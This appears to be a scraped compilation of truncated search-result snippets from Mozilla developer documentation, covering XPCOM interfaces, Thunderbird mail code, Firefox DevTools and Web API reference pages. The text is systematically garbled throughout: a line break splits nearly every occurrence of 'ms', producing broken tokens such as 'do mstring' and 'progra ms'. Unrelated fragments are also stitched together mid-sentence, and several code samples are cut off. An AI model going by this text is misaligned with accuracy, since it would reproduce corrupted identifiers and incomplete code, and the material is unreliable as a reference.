method overview void getcontentviewsin(in float axpx, in float aypx, in float atopsize, in float arightsize, in float abotto
msize, in float aleftsize, [optional] out unsigned long alength, [retval, array, size_is(alength)] out nsicontentview aresult); attributes attribute type description rootcontentview nsicontentview the root content view.
... void getcontentviewsin( in float axpx, in float aypx, in float atopsize, in float arightsize, in float abotto
msize, in float aleftsize, out unsigned long alength, optional [retval, array, size_is(alength)] out nsicontentview aresult ); parameters axpx the x coordinate of the anchor point of the rectangle, in css pixels.
... abotto
msize the distance downward from the y anchor to expand the rectangle.
nsIDOMHTMLSourceElement
attributes attribute type description src do
mstring the src attribute gives the address of the media resource.
... type do
mstring the type attribute gives the type of the media resource, to help the user agent determine if it can play this media resource before fetching it.
... media unimplemented do
mstring the media attribute gives the intended media type of the media resource, to help the user agent determine if this media resource is useful to the user before fetching it.
nsIDOMXPathEvaluator
to create an instance, use: var domxpathevaluator = components.classes["@mozilla.org/dom/xpath-evaluator;1"] .createinstance(components.interfaces.nsidomxpathevaluator); method overview nsidomxpathexpression createexpression(in do
mstring expression, in nsidomxpathnsresolver resolver) nsidomxpathnsresolver creatensresolver(in nsidomnode noderesolver); nsisupports evaluate(in do
mstring expression, in nsidomnode contextnode, in nsidomxpathnsresolver resolver, in unsigned short type, in nsisupports result) methods createexpression() creates an nsidomxpathexpression which can then be used for (repeated) ev...
... nsidomxpathexpression createexpression( in do
mstring expression, in nsidomxpathnsresolver resolver ); parameters expression a string representing the xpath to be created.
...nsisupports evaluate( in do
mstring expression, in nsidomnode contextnode, in nsidomxpathnsresolver resolver, in unsigned short type, in nsisupports result ); parameters expression a string representing the xpath to be evaluated.
nsIDOMXULSelectControlItemElement
inherits from: nsidomxulelement last changed in gecko 1.7 attributes attribute type description accesskey do
mstring command do
mstring control nsidomxulselectcontrolelement read only.
... crop do
mstring disabled boolean image do
mstring label do
mstring selected boolean read only.
... value do
mstring ...
nsIDroppedLinkItem
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) attributes attribute type description url do
mstring url of the dropped link.
... name do
mstring name of the dropped link.
... type do
mstring mime-type of the dropped link.
nsIFTPEventSink
last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method overview void onftpcontrollog(in boolean server, in string
msg) methods onftpcontrollog allows a consumer to receive a log of the ftp control connection conversation.
... void onftpcontrollog ( in boolean server, in string
msg); parameters server a boolean value specifying whether you are a server or a client.
...
msg a string holding response of the last command which had been sent.
nsIHapticFeedback
4 / thunderbird 3.3 / seamonkey 2.1) implemented by: @mozilla.org/widget/hapticfeedback;1 as a service: var hapticfeedback = components.classes["@mozilla.org/widget/hapticfeedback;1"] .getservice(components.interfaces.nsihapticfeedback); once you have the service, you can initiate haptic feedback (that is, cause the device to vibrate, if it's supported) by calling perfor
msimpleaction(): hapticfeedback.perfor
msimpleaction(components.interfaces.nsihapticfeedback.longpress); method overview void perfor
msimpleaction(in long islongpress); constants press length constants constant value description shortpress 0 specify as the action type to perform a short vibration.
... methods perfor
msimpleaction() perform haptic feedback.
... void perfor
msimpleaction( in long islongpress ); parameters islongpress the press length; this will determine how long the vibration should last.
nsIJumpListItem
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) note: to consumers: it's reasonable to expect we'll need support for other types of jump list ite
ms (an audio file, an email message, etc.).
... to add types, create the specific interface here, add an implementation class to winjumplistitem, and add support to addlistbuild and removed ite
ms processing.
... return value true if ite
ms are the same, otherwise false ...
nsIParserUtils
sanitizerdropfor
ms (1 << 4) flag for sanitizer: drops for
ms and form controls (excluding <fieldset> and <legend>.
... by default, non-dangerous non-css presentational html elements and attributes or for
ms are not removed.
... to remove these, use sanitizerdropnoncsspresentation and/or sanitizerdropfor
ms.
nsIPlacesView
eselection(); nsinavhistoryresultnode[][] getremovableselectionranges(); nsinavhistoryresult getresult(); nsinavhistorycontainerresultnode getresultnode(); nsinavhistoryresultnode[] getselectionnodes(); void selectall(); attributes attribute type description hasselection boolean whether or not there are selected ite
ms.
... insertionpoint insertionpoint the insertionpoint at which new ite
ms will be inserted upon drop, paste, or creation.
... getremovableselectionranges() returns an array whose elements are the
mselves arrays of nsinavhistoryresultnode objects that can be removed from the view.
nsIRequest
this will close any open input or output strea
ms and terminate any async requests.
...this may have the effect of re-opening any underlying transport and will resume the delivery of data to any open strea
ms.
...this may have the effect of closing any underlying transport (in order to free up resources), although any open strea
ms remain logically opened and will continue delivering data when the transport is resumed.
nsISelection
nsidomrange getrangeat(in long index); void modify(in do
mstring alter, in do
mstring direction, in do
mstring granularity); void removeallranges(); void removerange(in nsidomrange range); void selectallchildren(in nsidomnode parentnode); void selectionlanguagechange(in boolean langrtl); do
mstring tostring(); attributes attribute type description anchornode nsidomnode returns ...
...void modify( in do
mstring alter, in do
mstring direction, in do
mstring granularity ); parameters alter can be one of { "move", "extend()" } "move" collapses the selection to the end of the selection and applies the movement direction/granularity to the collapsed() selection.
...do
mstring tostring(); remarks see also ...
nsIStreamConverter
stream converter contractid format (the stream converter root key is defined in this file): @mozilla.org/streamconv;1?from=from_mime_type&to=to_mime_type method overview void asyncconvertdata(in string afromtype, in string atotype, in nsistreamlistener alistener, in nsisupports actxt); nsiinputstream convert(in nsiinputstream afro
mstream, in string afromtype, in string atotype, in nsisupports actxt); methods asyncconvertdata() asynchronous version: converts data arriving via the converter's nsistreamlistener.ondataavailable() method from one type to another, pushing the converted data out to the caller via alistener::ondataavailable().
...nsiinputstream convert( in nsiinputstream afro
mstream, in string afromtype, in string atotype, in nsisupports actxt ); parameters afro
mstream the stream representing the original/raw data.
... afromtype the mime type of afro
mstream.
nsIWorkerMessageEvent
1.0 66 introduced gecko 1.9.1 inherits from: nsidomevent last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) method overview void initmessageevent(in do
mstring atypearg, in boolean acanbubblearg, in boolean acancelablearg, in do
mstring adataarg, in do
mstring aoriginarg, in nsisupports asourcearg); attributes attribute type description data do
mstring the event's data.
... origin do
mstring the event's origin.
... void initmessageevent( in do
mstring atypearg, in boolean acanbubblearg, in boolean acancelablearg, in do
mstring adataarg, in do
mstring aoriginarg, in nsisupports asourcearg ); parameters atypearg the event type.
nsIXULTemplateBuilder
addresult() infor
ms the template builder that a new result is available.
... removeresult() infor
ms the template builder that a result no longer applies.
... errors throws ns_error_null_pointer if either argument is null, or ns_error_invalid_arg if the ids don't match resultbindingchanged() infor
ms the template builder that one or more of the optional bindings for a result has changed.
nsIZipReader
to create an instance, use: var zipreader = components.classes["@mozilla.org/libjar/zip-reader;1"] .createinstance(components.interfaces.nsizipreader); about character sets and code pages note: nsizipreader has a code page problem; that is, in the zip specification, filenames are supposed to use 7-bit ascii; however, most modern filesyste
ms use 8 bit code pages, such as utf-8.
... nsiinputstream getinputstreamwithspec( in autf8string ajarspec, in autf8string zipentry ); parameters ajarspec the spec of the uri for the jar (only used for directory strea
ms).
...if null (javascript) or emptycstring() (c++) is passed in the integrity of all ite
ms in the archive are tested.
Frequently Asked Questions
effective c++ (2nd edition): 50 specific ways to improve your progra
ms and designs by scott meyers.
... more effective c++ : 35 new ways to improve your progra
ms and designs by scott meyers.
... effective c++ cd: 85 specific ways to improve your progra
ms and designs by scott meyers.
Using the clipboard
one reason is that some syste
ms do not copy the data right away.
...if you use kselectionclipboard instead, you will copy into the selection buffer, which is generally only available on unix syste
ms.
...next, we need to get the data from the clipboard: services.clipboard.getdata(trans, services.clipboard.kglobalclipboard); var str = {}; var strlength = {}; trans.gettransferdata("text/unicode", str, strlength); the first line perfor
ms the opposite of setdata.
XPCOM tasks
5.1 3rd party code that doesn't use any services from our tree should be below xpcom; particularly, code xpcom could exploit, e.g., expat berkeley db changes to apis, functionality, and implementations the following ite
ms are listed (very) roughly in their order of importance, i.e., fixing observers is the first thing i want to do.
... p2 our various enumerator classes should be made compatible with the enumerators from the standard c library, so that we can apply the standard algorith
ms to our containers.
...and if so, can we narrow it to only those platfor
ms that need it?
Xray vision
this would be very naive, of course, but there are more subtle ways in which accessing content objects from chrome can cause security proble
ms.
...rowser.contentwindow.date is undefined the chrome code will only even see date if it waives xrays, and then, because waiving is transitive, it should expect to be vulnerable to redefinition: // chrome code components.utils.waivexrays(gbrowser.contentwindow).date.getfullyear(); // -> 1000 however, there are some situations in which privileged code will access javascript objects that are not the
mselves dom objects and are not properties of dom objects.
...if the object has properties which are the
mselves objects, and these objects are same-origin with the content, then their value properties are visible as well.
Mozilla technologies
ll to docshell is not fully completed, but the long-term goal is to remove webshell and switch over entirely to docshell.embedded dialog apifeed content access apifirefox 2 and thunderbird 2 introduce a series of interfaces that make it easy for extension authors to access rss and atom feeds.life after xul: building firefox interfaces with htmlthis page gathers technical solutions to common proble
ms encountered by tea
ms shipping html-based interfaces inside firefox.morkmork is a database file format invented by david mccusker for the mozilla code since the original netscape database information was proprietary and could not be released open source.
...the xml extras module is built by default on all platfor
ms, and is included in the browser installers so it is available in the nightly builds.xpcomxpcom is a cross platform component object model, similar to microsoft com.
...for example, the mozilla xfor
ms project uses xtf to add support for the xfor
ms namespace.
MailNews fakeserver
writing a new fakeserver since the number of protocols we use is very small, most people shouldn't have to write an entirely new daemon and handler setup by the
mselves.
... extending a handler to provide different mechanis
ms is a process not defined here; please check the documentation of the corresponding handler for instructions.
... server.start(port); // set up a nsi
msgincomingserver locally localserver.someactionrequiringconnection(); server.performtest(); // nothing will be executed until the connection is closed // localserver.closecachedconnections() is generally a good way to do so server.resettest(); // set up second test server.performtest(); transaction = server.playtransaction(); // finished with tests server.stop(); } currently,...
Mail client architecture overview
the mail reader gecko (xul and html rendering) rdf (dynamic widgets) js (menus, events) libmime mail datasources mail javascript folder/message management
msgdb imap/nntp/pop3 necko (networking) sections in grey refer to modules outside of mail/news the base module the base module provides a generic interface to a set of protocol-independant messaging services.
... there are also a number of protocol independant subsyste
ms that have a symbiotic relationship with base: libmime - for dealing with rfc822 messages and their mime parts.
...
msgdb - a message database for a given folder is a summary of some of the key attributes in a folder such as the author and subject.
Filter Incoming Mail
the, you've got components.interfaces.nsi
msgdbhdr from where you can modify the mail.
... by example, to modify the mail subject : var newmaillistener = {
msgadded: function(a
msghdr) { if( !a
msghdr.isread ) { // here we are, a new mail has popped // let get a javascript string object from the subject property // querying mime conversion interface var mimeconvert = components.classes["@mozilla.org/messenger/mimeconverter;1"] .getservice(components.interfaces.nsimimeconverter); var subject = mimeconvert.decodemimeheader(a
msghdr.subject, null, false, true); // here with have a string to modify with javascript.
... by example, setting it to lower case subject = subject.tolocalelowercase(); // then we rebuild a subject objet by rencoding the string // and assign it to the message headers and we're done a
msghdr.subject = mimeconvert.encodemimepartiistr_utf8(subject, false, "utf-8", 0, 72); } } }; function init() { var notificationservice = components.classes["@mozilla.org/messenger/
msgnotificationservice;1"] .getservice(components.interfaces.nsi
msgfoldernotificationservice); notificationservice.addlistener(newmaillistener, notificationservice.
msgadded); } addeventlistener("load", init, true); have a look to nsi
msgdbhdr to get the full list of properties to be modified.
Use SQLite
to double check the information you've inserted you can query the tbird.sqlite file using regular sqlite progra
ms.
...(var name in this.dbschema.tables) adbconnection.createtable(name, this.dbschema.tables[name]); }, }; window.addeventlistener("load", function(e) { tbirdsqlite.onload(e); }, false); this is another practical sample on how to handle opendatabase and sql queries on the client side, using in-memory (blob) storage of 2mb: var db = opendatabase('mydb', '1.0', 'test db', 2 * 1024 * 1024); var
msg; db.transaction(function (tx) { tx.executesql('create table if not exists logs (id unique, log)'); tx.executesql('insert into logs (id, log) values (1, "foobar")'); tx.executesql('insert into logs (id, log) values (2, "log
msg")');
msg = '<p>log message created and row inserted.</p>'; document.queryselector('#status').innerhtml =
msg; }); db.transaction(function (tx) { tx.executesql...
...('select * from logs', [], function (tx, results) { var len = results.rows.length, i;
msg = "<p>found rows: " + len + "</p>"; document.queryselector('#status').innerhtml +=
msg; for (i = 0; i < len; i++){
msg = "<p><b>" + results.rows.item(i).log + "</b></p>"; document.queryselector('#status').innerhtml +=
msg; } }, null); }); ...
ABI
http://en.wikipedia.org/wiki/application_binary_interface os specific windows https://
msdn.microsoft.com/en-us/library/k2b2ssfy.aspx https://
msdn.microsoft.com/en-us/library/9b372w95.aspx details with respect to js-ctypes this explains how to use it in the js-ctypes scope.
... os specific win32 and os2 callbacks in js-ctypes under these operating syste
ms use a different abi than regular function declarations.
... other all other operating syste
ms use ctypes.default_abi as their calling convention for all function declarations.
Initialization and Destruction - Plugins
npp_new infor
ms the plug-in of the creation of a new instance with the specified mime type.
...you can assign more than one mime type to a plug-in, which could potentially allow the plug-in to respond to data strea
ms of different types with different interfaces and behavior.
...the browser calls the plug-in's np_shutdown function, which infor
ms the plug-in that its library is about to be unloaded, and gives it a chance to cancel any outstanding i/o requests, delete threads it created, free any memory it allocated, and perform any other closing tasks.
Version, UI, and Status Information - Plugins
detecting windowless support on
ms windows and mac os x in this example, the has_windowless method finds out whether the current version of the api supports windowless plug-ins.
... this method for detecting support is only useful on
ms windows and mac os x.
...*/ return false; } else /* plug-in is running in a navigator version */ /* that has windowless support */ return true; } detecting windowless support on other platfor
ms browser implementations on other platfor
ms did not have windowless plug-in support at the time it was added to
ms windows and mac os x, so a different method must be used to detect whether the browser provides support.
Preferences System
using this system it is possible to create preferences windows that display and operate appropriately on various platfor
ms (windows, macos x and gnome).
...you should be careful to read the higs for the platfor
ms you are targeting and use the xul preprocessor if necessary to set different window titles as appropriate.
... you should also be careful to specify the width of the window (in em) as appropriate using the preprocessor for each targeted platform, as well as the height (in em) for platfor
ms where the window size does not change as the selected panel is changed (e.g.
Color vision simulation - Firefox Developer Tools
the simulator in the accessibility inspector in firefox developer tools lets you see what a web page would look like to users with various for
ms of color vision deficiency (better known as "color blindness"), as well as contrast sensitivity loss.
...the most common for
ms of color blindness (commonly lumped together as "red-green color blindness") affect more men than women, because they are due to a mutation in a gene in the x chromosome, which men usually have only one copy of.
...however, they can give you a sense of what your web site looks like to users with vision proble
ms, and therefore help you judge whether you need to make adjustments in your color or contrast choices.
DOM Property Viewer - Firefox Developer Tools
up to three properties of an object and ite
ms of an array are displayed.
... refreshing the display if the dom changes you can hit the refresh button to update the display: filtering there is a search box within the toolbar: this filters the list to show only ite
ms which match the search term.
... ite
ms match the search term if their name contains the search term.
Debugger.Frame - Firefox Developer Tools
(in ecmascript ter
ms, the onpop handler receives the value returned by the [[call]] method, not the value returned by the [[construct]] method.) when a debugger handler function forces a frame to complete early, by returning a { return:...
...(in the ter
ms used by the ecmascript specification, the variableenvironment of the execution context for the eval code is the variableenvironment of the execution context that this frame represents.) if implementation restrictions prevent spidermonkey from extending this frame’s environment as requested, this call throws an error exception.
...(in the ter
ms used by the ecmascript specification, the variableenvironment of the execution context for the eval code is the variableenvironment of the execution context that this frame represents, and thebindings appear in a new declarative environment, which is the eval code’s lexicalenvironment.) if implementation restrictions prevent spidermonkey from extending this frame’s environment as requested, t...
Debugger.Object - Firefox Developer Tools
(in the ter
ms used by the ecmascript specification, the variableenvironment of the execution context for the eval code is the referent.) theoptions argument is as for debugger.frame.prototype.eval.
...(in the ter
ms used by the ecmascript specification, the variableenvironment of the execution context for non-strict eval code is the referent, and thebindings appear in a new declarative environment, which is the eval code's lexicalenvironment.) theoptions argument is as for debugger.frame.prototype.eval.
...ifhandler is null, the referent is no longer watched.handler may have the following methods, called under the given circu
mstances: add(frame,name,descriptor) a property namedname has been added to the referent.descriptor is a property descriptor of the sort accepted by debugger.object.prototype.defineproperty, giving the newly added property's attributes.
Examine and edit HTML - Firefox Developer Tools
usually this white space see
ms to have no effect and no visual output, but in fact, when a browser parses html it will automatically generate anonymous text nodes for elements not contained in a node.
...the menu contains the following ite
ms — click on the links to find the description of each command in the context menu reference: edit as html create new node duplicate node delete node attributes add attribute copy attribute value edit attribute remove attribute break on ...
... pressing ctrl + c (or cmd + c on a mac) also perfor
ms this action.
Waterfall - Firefox Developer Tools
but there are common patterns which can alert you to possible performance proble
ms.
... using the frame rate tool and the waterfall together, it's easy to see when long-running javascript is causing responsiveness proble
ms.
... in the screenshot below, we've zoomed in on a js function that's caused a drop in the frame rate: the intensive javascript article shows how the waterfall can highlight responsiveness proble
ms caused by long javascript functions, and how you can use asynchronous methods to keep the main thread responsive.
Shader Editor - Firefox Developer Tools
with webgl you provide 2 progra
ms called shaders which are called at the appropriate stages of the opengl rendering pipeline: a vertex shader, which computes the clip space coordinates of each vertex to be drawn, and a fragment shader, which determines the color for each pixel to be drawn.
... you'll now see a window divided into three panes: a list of all the glsl progra
ms on the left, the vertex shader for the currently selected program in the middle, and the fragment shader for the currently selected program on the right: managing progra
ms the left hand pane lists all progra
ms currently in use by a webgl context.
... you can edit these progra
ms and see the results the next time the webgl context redraws (for example, in the next animation frame).
IndexedDB - Firefox Developer Tools
when an object store is selected in the storage tree, all the ite
ms in that object store are listed in the table.
... all ite
ms have a key and a value associated with them.
... you can delete an indexeddb database using the context menu in the storage tree: if the database cannot be deleted (most commonly because there are still active connections to the database), a warning message will be displayed in the storage inspector: you can use the context menu in the table widget to delete all ite
ms in an object store, or a particular item: ...
Local Storage / Session Storage - Firefox Developer Tools
when an origin corresponding to local storage or session storage is selected within the storage inspector, the names and values of all the ite
ms corresponding to local storage or session storage will be listed in a table.
... you can edit local and session storage ite
ms by double-clicking inside cells in the table widget and editing the values they contain: you can delete local storage and session storage entries using the context menu: you can also delete local and session storage entries by selecting an item and pressing the delete or backspace key.
... finally, you can add new storage ite
ms by clicking the "plus" (+) button and then editing the resulting new row to the value you want.
AbstractRange - Web APIs
there are two such interfaces: range the range interface has been around for a long time and has only recently been redefined to be based upon abstractrange as the need arose to define other for
ms of range data.
... first, after your page is loaded, the browser simply isn't thinking in ter
ms of html.
... once it's been loaded, the page is a tree of dom node objects, so you need to specify the beginning and ending locations of a range in ter
ms of nodes and positions within nodes.
Animation.currentTime - Web APIs
in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20us in firefox 59; in 60 it will be 2
ms.
... // reduced time precision (2
ms) in firefox 60 animation.currenttime; // 23.404 // 24.192 // 25.514 // ...
... in firefox, you can also enabled privacy.resistfingerprinting, the precision will be 100
ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger.
Animation.startTime - Web APIs
in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20us in firefox 59; in 60 it will be 2
ms.
... // reduced time precision (2
ms) in firefox 60 animation.starttime; // 23.404 // 24.192 // 25.514 // ...
... in firefox, you can also enabled privacy.resistfingerprinting, the precision will be 100
ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger.
AnimationEvent() - Web APIs
type a do
mstring representing the name of the type of the animationevent.
... animationname optional a do
mstring containing the value of the animation-name css property associated with the transition.
... pseudoelement optional is a do
mstring, starting with "::", containing the name of the pseudo-element the animation runs on.
AnimationPlaybackEvent.currentTime - Web APIs
in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20us in firefox 59; in 60 it will be 2
ms.
... // reduced time precision (2
ms) in firefox 60 playbackevent.currenttime; // 23.404 // 24.192 // 25.514 // ...
... in firefox, you can also enabled privacy.resistfingerprinting, the precision will be 100
ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger.
AnimationTimeline.currentTime - Web APIs
in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20us in firefox 59; in 60 it will be 2
ms.
... // reduced time precision (2
ms) in firefox 60 animationtimeline.currenttime; // 23.404 // 24.192 // 25.514 // ...
... in firefox, you can also enable privacy.resistfingerprinting; the precision will be 100
ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger.
Attr.localName - Web APIs
syntax name = attribute.localname return value a do
mstring representing the local part of the attribute's qualified name.
... note: in gecko 1.9.2 and earlier, the property returns the upper-cased version of the local name for html attributes in html do
ms (as opposed to xhtml attributes in xml do
ms).
... in later versions, in compliance with html5, the property returns in the case of the internal dom storage, which is lower case for both html attributes in html do
ms and xhtml attributes in xml do
ms.
Attr - Web APIs
namespaceuri read only a do
mstring representing the namespace uri of the attribute, or null if there is no namespace.
... localname read only a do
mstring representing the local part of the qualified name of the attribute.
... prefix read only a do
mstring representing the namespace prefix of the attribute, or null if no prefix is specified.
AudioBuffer() - Web APIs
to determine the length to use for a specific number of seconds of audio, use nu
mseconds * samplerate.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetaudiobuffer() constructorchrome full support 55notes full support 55notes notes the context parameter was supported up until version 57, but has now been removed.edge full support ≤79firefox full support 5...
... sa
msung internet android full support 6.0notes full support 6.0notes notes the context parameter was supported up until sa
msung internet 7.0, but has now been removed.legend full support full support no support...
AudioListener - Web APIs
these features had a number of proble
ms: only audiobuffersourcenodes were pitched up or down, not other source nodes.
... because the velocity of the panner and the listener were not audiopara
ms, the pitch modification could not be smoothly applied, resulting in audio glitches.
...function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in ter
ms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on screen, there is quite a bit of math involved, but you will soon get used to it with a bit of experimentation.
AudioParamDescriptor - Web APIs
it is used to create custom audiopara
ms on an audioworkletnode.
... properties name the do
mstring which represents the name of the audioparam.
... examples to demonstrate creation and usage of custom audiopara
ms, we'll expand the example from audioworkletnode page.
Background Tasks API - Web APIs
getting the most out of idle callbacks because idle callbacks are intended to give your code a way to cooperate with the event loop to ensure that the system is utilized to its full potential without over-tasking it, resulting in lag or other performance proble
ms, you should be thoughtful about how you go about using them.
...the callback is passed an object which confor
ms to idledeadline, with didtimeout set to false and a timeremaining() method which is implemented to give the callback 50 milliseconds of time to begin with.
... let logfragment = null; let statusrefreshscheduled = false; finally, we set up a couple of variables for other ite
ms: logfragment will be used to store a documentfragment that's generated by our logging functions to create content to append to the log when the next animation frame is rendered.
BaseAudioContext.createPeriodicWave() - Web APIs
parameters real an array of cosine ter
ms (traditionally the a ter
ms).
... imag an array of sine ter
ms (traditionally the b ter
ms).
...here, with createperiodicwave(), you specify the frequencies, and the browser perfor
ms an inverse fourier transform to get a time domain buffer for the frequency of the oscillator.
BaseAudioContext.currentTime - Web APIs
in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20us in firefox 59; in 60 it will be 2
ms.
... // reduced time precision (2
ms) in firefox 60 audioctx.currenttime; // 23.404 // 24.192 // 25.514 // ...
... in firefox, you can also enabled privacy.resistfingerprinting, the precision will be 100
ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger.
BasicCardResponse.cardNumber - Web APIs
syntax "cardnumber" : "number" value a do
mstring representing the credit card number.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetcardnumberchrome no support noedge no support ≤18 — 79firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.paym...
... sa
msung internet android full support 7.0legend full support full support no support no support compatibility unknown compatibility unknownsee implementation notes.see implementation notes.user must explici...
BasicCardResponse.cardSecurityCode - Web APIs
syntax "cardsecuritycode" : "number" value a do
mstring representing the card security code.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetcardsecuritycodechrome no support noedge no support ≤18 — 79firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the do...
... sa
msung internet android full support 7.0legend full support full support no support no support compatibility unknown compatibility unknownsee implementation notes.see implementation notes.user must explici...
BasicCardResponse.cardholderName - Web APIs
syntax name = basiccardresponse.cardholdername; value a do
mstring indicating the name of the cardholder.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetcardholdernamechrome no support noedge no support ≤18 — 79firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.
... sa
msung internet android full support 7.0legend full support full support no support no support compatibility unknown compatibility unknownsee implementation notes.see implementation notes.user must explici...
BasicCardResponse.expiryMonth - Web APIs
syntax "expirymonth" : "number" value a do
mstring representing the card expiry month as a two-digit number in the range 01 to 12.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetexpirymonthchrome no support noedge no support ≤18 — 79firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.pay...
... sa
msung internet android full support 7.0legend full support full support no support no support compatibility unknown compatibility unknownsee implementation notes.see implementation notes.user must explici...
BasicCardResponse.expiryYear - Web APIs
syntax "expiryyear" : "number" value a do
mstring representing the card expiry year as a four-digit number in the range 0000 to 9999.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetexpiryyearchrome no support noedge no support ≤18 — 79firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56: this feature is behind the dom.paym...
... sa
msung internet android full support 7.0legend full support full support no support no support compatibility unknown compatibility unknownsee implementation notes.see implementation notes.user must explici...
BeforeInstallPromptEvent - Web APIs
beforeinstallpromptevent.platfor
ms read only returns an array of do
mstring ite
ms containing the platfor
ms on which the event was dispatched.
... beforeinstallpromptevent.userchoice read only returns a promise that resolves to a do
mstring containing either "accepted" or "dismissed".
... example window.addeventlistener("beforeinstallprompt", function(e) { // log the platfor
ms provided as options in an install prompt console.log(e.platfor
ms); // e.g., ["web", "android", "windows"] e.userchoice.then(function(choiceresult) { console.log(choiceresult.outcome); // either "accepted" or "dismissed" }, handleerror); }); ...
BlobBuilder - Web APIs
method overview void append(in arraybuffer data); void append(in blob data); void append(in string data, [optional] in string endings); blob getblob([optional] in do
mstring contenttype); file getfile(in do
mstring name, [optional] in do
mstring contenttype); methods append() appends the contents of the specified javascript object to the blob being built.
... blob getblob( in do
mstring contenttype optional ); parameters contenttype optional the mime type of the data to be returned in the blob.
... file getfile( in do
mstring name, [optional] in do
mstring contenttype ); parameters name the file name.
BluetoothDevice - Web APIs
="1" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="226" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">bluetoothdevice</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} interface interface bluetoothdevice { readonly attribute do
mstring id; readonly attribute do
mstring?
...bute frozenarray uuids; promise watchadvertisements(); void unwatchadvertisements(); readonly attribute boolean watchingadvertisements; }; bluetoothdevice implements eventtarget; bluetoothdevice implements bluetoothdeviceeventhandlers; bluetoothdevice implements characteristiceventhandlers; bluetoothdevice implements serviceeventhandlers; properties bluetoothdevice.id read only a do
mstring that uniquely identifies a device.
... bluetoothdevice.name read only a do
mstring that provices a human-readable name for the device.
CSS.registerProperty() - Web APIs
syntax css.registerproperty(propertydefinition); parameters a propertydefinition dictionary object, which can contain the following members: name a do
mstring indicating the name of the property being defined.
... syntax optional a do
mstring representing the expected syntax of the defined property.
... initialvalue optional a do
mstring representing the initial value of the defined property.
CSS.supports() - Web APIs
the first one allows to test the support of a pair property-value: propertyname a do
mstring containing the name of the css property to check.
... value a do
mstring containing the value of the css property to check.
... the second syntax takes one parameter matching the condition of @supports: supportcondition a do
mstring containing the condition to check.
CSSKeyframesRule - Web APIs
the parameter is a do
mstring containing a keyframe in the same format as an entry of a @keyframes at-rule.
...the parameter is the index of the keyframe to be deleted, expressed as a do
mstring resolving as a number between 0% and 100%.
...the key is a do
mstring containing an index of the keyframe to be returned, resolving to a percentage between 0% and 100%.
CSSNamespaceRule - Web APIs
interface cssnamespacerule : cssrule { readonly attribute do
mstring namespaceuri; readonly attribute do
mstring?
...it has some specific properties: cssnamespacerule.namespaceuri returns a do
mstring containing the text of the uri of the given namespace.
... cssnamespacerule.prefix returns a do
mstring with the name of the prefix associated to this namespace.
CSSStyleDeclaration.getPropertyPriority() - Web APIs
the cssstyledeclaration.getpropertypriority() method interface returns a do
mstring that provides all explicitly set priorities on the css property.
... syntax var priority = style.getpropertypriority(property); parameters property is a do
mstring representing the property name to be checked.
... return value priority is a do
mstring that represents the priority (e.g.
CSSStyleDeclaration.getPropertyValue() - Web APIs
the cssstyledeclaration.getpropertyvalue() method interface returns a do
mstring containing the value of a specified css property.
... syntax var value = style.getpropertyvalue(property); parameters property is a do
mstring representing the property name to be checked.
... return value value is a do
mstring containing the value of the property.
ClipboardEvent() - Web APIs
type is a do
mstring representing the name of the type of the clipboardevent.
... datatype : a do
mstring containing the mime-type of the data contained in the data argument.
... data : a do
mstring containing the data concerned by the clipboard event.
CompositionEvent.initCompositionEvent() - Web APIs
syntax compositioneventinstance.initcompositionevent(typearg, canbubblearg, cancelablearg, viewarg, dataarg, localearg) parameters typearg a do
mstring representing the type of composition event; this will be one of compositionstart, compositionupdate, or compositionend.
... dataarg a do
mstring representing the value of the data attribute.
... localearg a do
mstring representing the value of the locale attribute.
console.debug() - Web APIs
syntax console.debug(obj1 [, obj2, ..., objn]); console.debug(
msg [, subst1, ..., substn]); parameters obj1 ...
...
msg a javascript string containing zero or more substitution strings, which are replaced with subst1 through substn in consecutive order.
...substn javascript objects with which to replace substitution strings within
msg.
Console.error() - Web APIs
